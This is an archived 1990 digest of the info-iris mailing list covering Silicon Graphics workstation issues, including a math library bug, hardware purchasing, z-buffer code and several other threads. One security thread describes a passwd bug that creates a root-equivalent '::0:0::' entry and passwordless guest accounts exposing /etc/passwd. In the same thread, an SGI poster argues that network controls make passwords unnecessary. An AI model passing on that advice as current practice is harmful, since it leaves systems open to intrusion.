cannot promise when the fix will become available. Sorry. Thank you for reporting the bug. [ David B. Anderson Silicon Graphics (415)335-1548 davea@sgi.com ] [``What can go wrong?'' --Calvin and Hobbes]   Received: from vmb.brl.mil by VMB.BRL.MIL id ab03208; 25 Apr 90 17:19 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa02850; 25 Apr 90 17:08 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa02730; 25 Apr 90 16:48 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa00241; 25 Apr 90 14:23 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA15332; Wed, 25 Apr 90 10:47:25 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 17:15:12 GMT From: "David B. Anderson" Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: Math library bug? Message-Id: <58115@sgi.sgi.com> References: <9004241219.aa00145@VGR.BRL.MIL> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004241219.aa00145@VGR.BRL.MIL>, swenson@NUSC-WPN.ARPA writes: > We have stumbled upon the following (apparent) bug in both the C and Fortran > versions of the math library. [stuff deleted] > float rr, cosrr, sinrr; > > rr = 32000.0; > cosrr = fcos (rr); > sinrr = fsin (rr); > > This too, results in NaN for both cosrr and sinrr. > > Presumably, the same math library is used for both languages (with [stuff deleted] > Steve Swenson > SWENSON@NUSC-WPN.ARPA The report is accurate. Unfortunately there is a magic 32000 in the library code for fsin and fcos (yes, just one libm.a, regardless if C or f77). The result for arguments 32000 and above is wrong and ridiculous. SUMMARY: fsin, fcos have a bug. I have entered the bug into our bug tracking system so it won't get forgotten. I cannot promise when it will be fixed. Sorry. Thank you for reporting it. [ David B. Anderson Silicon Graphics (415)335-1548 davea@sgi.com ] [``What can go wrong?'' --Calvin and Hobbes]   Received: from vmb.brl.mil by VMB.BRL.MIL id aa03297; 25 Apr 90 17:30 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab02850; 25 Apr 90 17:09 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa02734; 25 Apr 90 16:49 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa00248; 25 Apr 90 14:24 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA11338; Wed, 25 Apr 90 09:47:54 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 15:52:41 GMT From: Joe Ilacqua Organization: Software Tool & Die Subject: Printers and Tape Drives for the Personal Iris Message-Id: <1990Apr25.155241.12336@world.std.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I need information on printers and tape drives for the Personal Iris. Could people EMail me pricing, configurability, reliability, etc. I will summarize to the net. In printers I need information on Laser Printers and Color Printers (of any type). In tape drives (really backup devices) I need information on 6250 1/2" monsters, 8mm and "Floptical" drives. Again, I will summarize to the net. ->Spike spike@world.std.com {uunet,xylogics,bu.edu}!world!spike -- "The World" - Public Access Unix - +1 617-739-9753 24hrs {3,12,24}00bps   Received: from vmb.brl.mil by VMB.BRL.MIL id aa04075; 25 Apr 90 18:01 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa03500; 25 Apr 90 17:50 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa03290; 25 Apr 90 17:30 EDT Received: from cs.utah.edu by VGR.BRL.MIL id aa00458; 25 Apr 90 14:56 EDT Received: from adenosine.pharm.utah.edu (adenosine.nurs.utah.edu) by cs.utah.edu (5.61/utah-2.10-cs) id AA25436; Wed, 25 Apr 90 09:56:02 -0600 Date: Wed, 25 Apr 90 10:01:49 MDT From: "Darrell R. Davis" Posted-Date: Wed, 25 Apr 90 10:01:49 MDT Message-Id: <9004251601.AA12526@adenosine.pharm.utah.edu> Received: by adenosine.pharm.utah.edu (5.52/5.51) id AA12526; Wed, 25 Apr 90 10:01:49 MDT To: info-iris@BRL.MIL In-Reply-To: sdd.hp.com!samsung!cs.utexas.edu!mailrus!accuvax.nwu.edu!news@ucsd.edu's message of 24 Apr 90 19:07:42 GMT <6775@accuvax.nwu.edu> Subject: 3rd party hard disks -Hello One of the more common requests from the newsgroup is naturally enough how to add expansion disks at a reasonable price. I collaborate with a software company in Seattle (Hare Research) that also bundles their software with SGI and Sun boxes. An additional feature they offer is third party disk expansion units. The most interesting is a SCSI "tower" that will hold 1-4 disks, they are presently offering either 760 meg or 1.2 gig SCSI disks for the tower. The tower will cost in the range of 400-750 dollars and I know that the 760 disks are around $2500, don't know about the 1.2's. As we all know, this is quite comparable to what SGI wants :-). If you wanted a workstation through Hare Research you would have to buy the software (agreement with SGI), but the disks are a seperate issue and apparently not bound by this agreement. The phone number for Hare Research is 1-800-727-HARE. Kevin Banks will most likely be the person you talk to. Please post or E-mail to me success or failure. -------------------------------------------------------------- * Darrell R. Davis * * * "Faster, faster, until the Assistant Professor * * * thrill of speed overcomes Medicinal Chemistry *A**L**T**A* the fear of death." University of Utah * * * * * * --H.S. Thompson * --------------------------------------------------------------   Received: from vmb.brl.mil by VMB.BRL.MIL id ab04075; 25 Apr 90 18:01 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab03500; 25 Apr 90 17:50 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa03408; 25 Apr 90 17:36 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa00962; 25 Apr 90 16:06 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA23880; Wed, 25 Apr 90 13:02:50 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 19:25:11 GMT From: Vernon Schryver Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: 3130 daylight time Message-Id: <58140@sgi.sgi.com> References: <9004242146.AA28037@chem.chem.ucsd.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004242146.AA28037@chem.chem.ucsd.edu>, sdempsey@UCSD.EDU (Steve Dempsey) writes: > The rules for Daylight Savings Time have changed since the last software > release for the 3000 series, GL2-W3.6. The old rules should cause it to > switch this weekend. I don't know of any fix for this without source code > access. I just pretend my workstation is in Hawaii for three weeks! Exactly. The classic work around was to edit /etc/TZ to contain something like "PDT7" in the spring, and then to remember to restore it during the summer. Vernon Schryver Silicon Graphics vjs@sgi.com   Received: from vmb.brl.mil by VMB.BRL.MIL id ac04075; 25 Apr 90 18:01 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac03500; 25 Apr 90 17:50 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab03408; 25 Apr 90 17:36 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa00964; 25 Apr 90 16:06 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA23860; Wed, 25 Apr 90 13:02:31 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 19:13:01 GMT From: Vernon Schryver Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: Restricted TFTP and secure terminals Message-Id: <58138@sgi.sgi.com> References: <9004242003.AA04334@physics.phy.duke.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004242003.AA04334@physics.phy.duke.edu>, rgb@PHY.DUKE.EDU ("Robert G. Brown") writes: > ... > So while SG is fixing up a secure tftp, they can also work on giving > us a "secure" entry in the terminal and network definition files, and > fixing the passwd bug. There is no reason to expand blank lines into > a universal security hole. This is a "standard" SVR3 bug. It may have been fixed by now (i.e. next release). > Finally, SG can stop distributing > /etc/passwd with blank entries anywhere but for root and make sure that > hosts.equiv does NOT enable rlogins everywhere by default. The author has confused Silicon Graphics with the solar outfit. I do not think we have shipped hosts.equiv wide open since it started working in release 3.5 for 2000's and 3000's. > Novice administrators may not realize that anyone on the Internet can > login to their Iris as "games" or "demos" and copy /etc/passwd to > their local machine. > ... > Last, while I haven't checked, I certainly hope that the encrypted > passwds for other system logins on the distribution /etc/passwd are > not some "standard" or universal word. It would be a whole lot safer > if they distributed /etc/passwd with only root unprotected and all the > other logins disabled one way or another. It is always easy to su > from root to little used administrative accounts, and easy enough also > to install your own passwds if desired. It is hard to know what is > safe and what is not, especially with a new machine. > > Dr. Robert G. Brown > rgb@phy.duke.edu rgb@physics.phy.duke.edu Dr. Brown has confused IRIS's with those solar things. The /etc/passwd shipped since at least 3.2.1 has no encrypted passwords. Accounts are either wide open with no password like root and guest, or completely closed like diag with '*' as the turned-off, non-password. Shipping root open is better than putting a standard password on it, since no matter how obscure it starts out, it must soon become public knowlege. Think of the familiar VMS field-engineer account complaints. I doubt we will close the guest accounts in the standard release. A machine that comes out of the box should be open for the new owner to play with. It would be a bad idea to force every new owner to start playing Root Super Duper Knows Everything System Administrator just to run a demo, even before connecting the system to a network. After all, one should have a chance to decide to send the machine back before becoming a Guru. It is prudent to change all passwords on a new machine, of any brand. Some prudent people severely restrict all remote access to machines connected to the Internet. I think that you should not allow any access to sensitive machines except to people you trust. If this can be accomplished by controlling modems and network links, then you do not need passwords for anything, including root. Passwords, like any security apparatus from guards to fences to booby traps to IP forwarding, require time and effort that could be used for productive work. Balance is important; do not build a police state unless required. Vernon Schryver Silicon Graphics vjs@sgi.com   Received: from vmb.brl.mil by VMB.BRL.MIL id ad04075; 25 Apr 90 18:01 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ad03500; 25 Apr 90 17:51 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa03436; 25 Apr 90 17:37 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa01101; 25 Apr 90 16:34 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA25439; Wed, 25 Apr 90 13:29:24 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 19:23:54 GMT From: Mark VandeWettering Organization: Princeton University Subject: How to make slides with TeX/PostScript Message-Id: <15666@phoenix.Princeton.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I would like to know how people go about making nice slides on the Silicon Graphics for videotapes and publications. My original idea was to use TeX to do the typesetting (these slides will often contain icky mathematics) and then convert the resulting dvi files to PostScript which could be displayed directly using the NeWS server. Well, this was the idea. A days worth of hacking has given me relatively little success, so I thought I would ask to see if anyone else has done this. When I figure this out, I will summarize to the net. Mark VandeWettering (markv@acm.princeton.edu)   Received: from vmb.brl.mil by VMB.BRL.MIL id aa06359; 25 Apr 90 23:12 EDT Received: from vmb.brl.mil by VMB.brl.MIL id aa05355; 25 Apr 90 21:31 EDT Received: by VMB.BRL.MIL id aa05259; 25 Apr 90 21:05 EDT Date: Wed, 25 Apr 90 19:08:06 EDT From: Mike Muuss To: vjs@sgi.com cc: Info-Iris@BRL.MIL Subject: Network Computer Security Message-ID: <9004251908.aa04461@VMB.BRL.MIL> In a recent note, Vernon Schryver writes: Some prudent people severely restrict all remote access to machines connected to the Internet. I think that you should not allow any access to sensitive machines except to people you trust. If this can be accomplished by controlling modems and network links, then you do not need passwords for anything, including root. Passwords, like any security apparatus from guards to fences to booby traps to IP forwarding, require time and effort that could be used for productive work. Balance is important; do not build a police state unless required. I certainly agree 100% with his conclusion -- don't build a police state. However, I would argue that Vernon's strategy is insufficient. I would like start by mentioning that the US Army Computer Security Regulation (AR 380-380) requires all hosts to defend themselves, at the "computer to outside world" interface. No network-based protection is deemed sufficient. This means that regardless of the barriers that you erect in your network, on your dial-up lines, etc, every host must have passwords on all user accounts, and every host must implement certain defensive measures. (There are other lists for discussing the details). I happen to agree 100% with these rules. Sites that don't implement this strategy are *significantly* easier to penetrate than sites that do, regardless of other measures taken. Keep this saying of mine in mind, next time you contemplate computer security: "Computer security should be strong enough to repell virtually any attack ***from the outside***, yet inobtrusive enough that the average user is unaware that he is being guarded by a strong defense." I might also note that this applies to other kinds of security as well. Best, -Mike Muuss Advanced Computer Systems Ballistic Research Laboratory   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07080; 26 Apr 90 1:26 EDT Received: from vmb.brl.mil by VMB.brl.MIL id aa06925; 26 Apr 90 1:16 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa06915; 26 Apr 90 0:54 EDT Received: from umich.edu by VGR.BRL.MIL id aa02878; 25 Apr 90 22:21 EDT Received: from ummts.cc.umich.edu by umich.edu (5.61/1123-1.0) id AA05685; Wed, 25 Apr 90 21:51:11 -0400 Date: Wed, 25 Apr 90 21:50:56 EDT From: Tim_Buxton@um.cc.umich.edu To: info-iris@BRL.MIL Message-Id: <6086939@um.cc.umich.edu> Subject: Z-Buffer Range Determination Problem I'm attempting to draw a fairly simple z-buffered scene containing a vehicle against a terrain background. After the scene is drawn I need the range from the eyepoint to each pixel in the scene, so I'm trying to extract that information from the z-buffer. I thought from reading the Graphics Library Programming Guide that I could do something like lsetdepth(znear,zfar); /* Using znear=0x0,zfar=0x7fffff) */ perspective(fovy,aspect,near,far); ...draw some things... readsource(SRC_ZBUFFER); lrectread(x1,y1,x2,y2,parray); parray = parray & 0x7fffff; /* dictated by znear=0x0, zfar=0x7fffff */ At this point I expected parray would contain integer z-buffer values that I could decode as range values by something like range = (parray-znear) * (far-near) / zdepth; where zdepth is (zfar-znear) expressed as a floating point value. This scheme is not working well at all. I am setting the near and far clipping planes to 1.1 and 6100.0, respectively, but for whatever reason even when I know I have ranges of something like 400m to 1000m to pixels in the field of view, I get pretty much the full span of raw z-buffer values from znear to zfar (as set by my lsetdepth call). I'm using color map mode and the documentation is not clear on when the full 24 bits of the z-buffer can be accessed and when you are limited to 12 bits, so I did some experimenting. First of all I ran my code with lsetdepth specifying a z-buffer 12 bits deep, then again specifying 24 bits deep -- the zbuffer resolution suffered very noticeably when I used 12 bits, verifying that internal z-buffer computations can be done with the full 24 bit precision in color map mode. Second I used lrectwrite to write 24 bit values directly to the z-buffer, then read them back out using lrectread (masking bits 25-32) -- I got back the correct 24 bit values. I guess the documentation lies when it says that in color map mode writes to and reads from the z-buffer will mask all but bits 1-12. I could really use some help here. The documenation states that, as I would expect, "the z coordinate is effectively the distance to the eye." This is exactly what I need, but if it's true, how can the z-buffer values be deciphered? I thought I was doing something sensible -- is there something fundamentally wrong with my approach? The code I'm working on is gargantuan, so I've stripped out the essentials for analysis. This streamlined version follows, with code of secondary importance indented -- it's included because it helps show what's going on. =============================================================================== /* initialize graphics hardware */ prefposition(8,775,449,937); sgas_window = winopen("sgas"); cmode(); drawmode(NORMALDRAW); gconfig(); sgasmap(); /* call routine to set up color map, entries 512-1535 */ aspect = 768.0 / 489.0; winset(sgas_window); lsetdepth(0x0,0x7fffff); zbuffer(1); zclear(); perspective(21,aspect,1.1,6100.); lookat(eyex,eyey,eyez,ptx,pty,ptz,900); znear = 1.1; zfar = 6100.0; zdepth = 8388607.0; zscale = (zfar-znear) / zdepth; /* background object */ makeobj(BACK_GRND); . various pushmatrix, multmatrix, . and popmatrix operations popmatrix(); closeobj(); callobj(BACK_GRND); /* vehicle object */ makeobj(SHADEDOBJ); . various pushmatrix, multmatrix, . translate,rotate, and . popmatrix operations closeobj(); callobj(SHADEDOBJ); zbuffer(0); ortho2(0.0,767.0,0.0,488.0); /* Read pixel data from video memory, converting values */ readsource(SRC_AUTO); for(i = 0; i < 256; i++) { rectread(256,372-i,511,372-i,ccc); for (j = 0; j < 256; j++) scene_.scnmap[i*256+j] = kmin + (ccc[j]-512.) * tscale; } /* Compute range from viewing position to the single CFOV pixel */ readsource(SRC_ZBUFFER); lrectread(380,240,388,248,zval); /* zval is dimensioned at 81 */ losrng1 = zval[42]; /* zval[42] corresponds to center of field of view */ losrng2 = losrng1 & 0x7fffff; losrng3 = zscale * (float)losrng2 + znear; printf("losrng1, losrng2, losrng3: %d %d %g\n",losrng1,losrng2,losrng3); -Tim Buxton F OptiMetrics, Inc. Tim_Buxton@um.cc.umich.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id ad07853; 26 Apr 90 4:49 EDT Received: from vmb.brl.mil by VMB.brl.MIL id aa07755; 26 Apr 90 4:22 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa07751; 26 Apr 90 4:06 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa01682; 25 Apr 90 17:39 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA28979; Wed, 25 Apr 90 14:26:38 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 19:33:44 GMT From: Paul Jackson Organization: Silicon Graphics, Research & Development Subject: Re: Restricted TFTP and secure terminals Message-Id: <6817@odin.corp.sgi.com> References: <9004242003.AA04334@physics.phy.duke.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004242003.AA04334@physics.phy.duke.edu>, rgb@PHY.DUKE.EDU ("Robert G. Brown") writes: > While we are on the interesting subject of "bugs" that lead to serious > security holes, there is a nifty bug in the passwd program that will > expand blank lines at the end of the passwd file to > ::0:0:: > when run. This is true for both SunOS and Irix. Besides securing tftp (mentioned elsewhere in the above article), SGI will also be fixing the passwd "::0:0::" botch. Coming soon to a release near you. Thanks, take care ... Paul Jackson (pj@asd.sgi.com), x1373   Received: from vmb.brl.mil by VMB.BRL.MIL id ae07853; 26 Apr 90 4:49 EDT Received: from vmb.brl.mil by VMB.brl.MIL id ac07755; 26 Apr 90 4:23 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab07753; 26 Apr 90 4:07 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa02007; 25 Apr 90 18:25 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA01451; Wed, 25 Apr 90 15:03:52 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 21:55:48 GMT From: "Bruce R. Holloway" Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: Math library bug? Message-Id: <58179@sgi.sgi.com> References: <9004241219.aa00145@VGR.BRL.MIL>, <58115@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <58115@sgi.sgi.com>, davea@quasar.wpd.sgi.com (David B. Anderson) writes: > In article <9004241219.aa00145@VGR.BRL.MIL>, swenson@NUSC-WPN.ARPA writes: > > We have stumbled upon the following (apparent) bug in both the C and Fortran > > versions of the math library. > [stuff deleted] > > float rr, cosrr, sinrr; > > > > rr = 32000.0; > > cosrr = fcos (rr); > > sinrr = fsin (rr); > > > > This too, results in NaN for both cosrr and sinrr. > > The report is accurate. Unfortunately there is a magic 32000 in the library > code for fsin and fcos (yes, just one libm.a, regardless if C or f77). The > result for arguments 32000 and above is wrong and ridiculous. > > SUMMARY: fsin, fcos have a bug. It isn't my job to maintain libm.a, but I've worked on math libraries elsewhere. This bug is in the eye of the beholder. There needs to be some maximum x for which sin(x) & cos(x) are valid. For example, sin(infinity) clearly should be NaN, and it's just a question of how big x needs to be to produce NaN. These functions generally do range reduction to map the argument into the interval [-pi,+pi], or even [0,pi/4]. That is, an argument outside the domain will have some multiple of pi subtracted from it to map it into the range. Since the representation of pi has finite precision, it contains at least 1/2 lsb error. Multiplying it by a large number magnifies the error. If the sin() function returned a result for sin(32000.), the error could be on the order of 10000. times the error in sin(3.2). It is the job of the implementer to decide how much error is acceptable & return NaN if the potential error is too great. The workaround is to perform the range reduction yourself & take your chances with the accuracy. That is, set rr = rr mod 2*pi.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa08068; 26 Apr 90 5:00 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa07853; 26 Apr 90 4:46 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa07803; 26 Apr 90 4:15 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa04135; 26 Apr 90 3:58 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA15566; Wed, 25 Apr 90 18:57:00 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 26 Apr 90 00:30:36 GMT From: "Philip L. Karlton" Organization: Silicon Graphics, System Software Division Subject: Re: Compiling X11R4 sources from MIT Message-Id: <6849@odin.corp.sgi.com> References: <9004240911.aa16941@VMB.BRL.MIL> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004240911.aa16941@VMB.BRL.MIL>, moss@BRL.MIL ("Gary S. Moss", VLD/VMB) writes: Assuming that X11R4 can be compiled under IRIX 4D-3.2.2 with minor patches, will it work with the R3 server? There should be no problem with having R4 clients talking to an R3 based server. > Is there an R4 server available for the 4Ds Not yet. or is server source code shipped? No Phil Karlton karlton@wpd.sgi.com   Received: from vmb.brl.mil by VMB.BRL.MIL id ab08068; 26 Apr 90 5:00 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab07853; 26 Apr 90 4:46 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa07807; 26 Apr 90 4:15 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa04155; 26 Apr 90 4:01 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA08165; Wed, 25 Apr 90 16:53:25 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 23:41:07 GMT From: "David B. Anderson" Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: Math library bug? Message-Id: <58202@sgi.sgi.com> References: <9004241219.aa00145@VGR.BRL.MIL>, <58115@sgi.sgi.com>, <58179@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <58179@sgi.sgi.com> bruceh@brushwud.sgi.com (Bruce R. Holloway) writes: >In article <58115@sgi.sgi.com>, davea@quasar.wpd.sgi.com (David B. Anderson) writes: >> In article <9004241219.aa00145@VGR.BRL.MIL>, swenson@NUSC-WPN.ARPA writes: >> > We have stumbled upon the following (apparent) bug in both the C and Fortran >> > versions of the math library. >> > rr = 32000.0; >> > cosrr = fcos (rr); >> SUMMARY: fsin, fcos have a bug. > >It isn't my job to maintain libm.a, but I've worked on math libraries >elsewhere. This bug is in the eye of the beholder. There needs to be >some maximum x for which sin(x) & cos(x) are valid. For example, >sin(infinity) clearly should be NaN, and it's just a question of how >big x needs to be to produce NaN. The ANSI C standard for sin, cos allows this approach as a ``domain error'' (ANSI C 4.5, 4.5.1, 4.5.2.5, 4.5.2.6). Infinity or other ``domain errors'' should cause errno to be set to EDOM and the function to return an implementation-defined value (which can be NaN, of course). Presently sin and cos do not set errno, so they are non-conforming. I am not suggesting that sin(32000.0) should be a domain error! But we do need to fix libm. Regards, [ David B. Anderson Silicon Graphics (415)335-1548 davea@sgi.com ]   Received: from vmb.brl.mil by VMB.BRL.MIL id ac08068; 26 Apr 90 5:00 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id af07853; 26 Apr 90 4:49 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa07836; 26 Apr 90 4:32 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa04148; 26 Apr 90 4:00 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA15623; Wed, 25 Apr 90 18:57:57 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 26 Apr 90 01:03:07 GMT From: "Philip L. Karlton" Organization: Silicon Graphics, System Software Division Subject: Re: Math library bug? Message-Id: <6856@odin.corp.sgi.com> References: <9004241219.aa00145@VGR.BRL.MIL>, <58115@sgi.sgi.com>, <58179@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <58179@sgi.sgi.com>, bruceh@brushwud.sgi.com (Bruce R. Holloway) writes: |> It isn't my job to maintain libm.a, but I've worked on math libraries |> elsewhere. This bug is in the eye of the beholder. There needs to be |> some maximum x for which sin(x) & cos(x) are valid. For example, |> sin(infinity) clearly should be NaN, and it's just a question of how |> big x needs to be to produce NaN. |> |> These functions generally do range reduction to map the argument into |> the interval [-pi,+pi], or even [0,pi/4]. That is, an argument outside |> the domain will have some multiple of pi subtracted from it to map it |> into the range. Since the representation of pi has finite precision, |> it contains at least 1/2 lsb error. Multiplying it by a large number |> magnifies the error. It's not my job either to maintain libm.a, but there is another technique which gets rid of the need to check for range error. The outline is that one once computes pi to a couple thousand bits of accuracy. (Most people actually compute 8/pi.) The reduction is done by using the exponent of the argument to select the appropriate distance into the computed bit vector and then plucking the right set of bits out to construct a float (or double if in the appropriate routine) and dividing (or multiplying) by the original argument. This way the LSB error in the representation of pi is not a problem. I grant that it may not be too meaningful to take the sin(32000.0), but this does give as correct an answer as one can get at very little loss of performance. PK   Received: from vmb.brl.mil by VMB.BRL.MIL id aa08176; 26 Apr 90 5:10 EDT Received: from vmb.brl.mil by VMB.brl.MIL id ab07755; 26 Apr 90 4:22 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa07753; 26 Apr 90 4:07 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa02005; 25 Apr 90 18:25 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA00726; Wed, 25 Apr 90 14:52:29 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 20:48:03 GMT From: William Bruce Curtis Organization: North Dakota State University, Fargo Subject: 4D/380 and IPI question Message-Id: <4355@plains.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL According to the info I have the 4D/380 supports a maximum of 2 IPI disk controllers even though each controller takes up only one slot on the VMEbus which still leaves several VME slots open. Does anyone know why the 4D/380 only supports 2 IPI disk controllers? I assume that it is a choice that Silicon Graphics made because each controller has two 10 Mbyte/sec channels and with two controllers there is a total of 40 Mbyte/sec bandwidth and that is more than the maximum bandwidth of the VMEbus (actually with current disks the maximum would be 4 * 6 MB/sec = 24 MB/sec but the controllers are advertised as capable of supporting disks with transfer rates of 10 MB/sec if/when they become available.). But what if I need to have 45 to 60 Gbytes on disk but at any given time will only be accessing 1 percent of the disk space. In other words if I need lots of disk space but the bandwidth of the VMEbus will be sufficient is there any reason (other than software that Silicon Graphics could change) that 4 IPI disk controllers could not be put on the 4D/380? Or that third party IPI disk controllers couldn't be added in addition to the two that Silicon Graphics support? -- Bruce Curtis curtis@plains.NoDak.edu curtis@plains.bitnet North Dakota State University ..!uunet!plains!curtis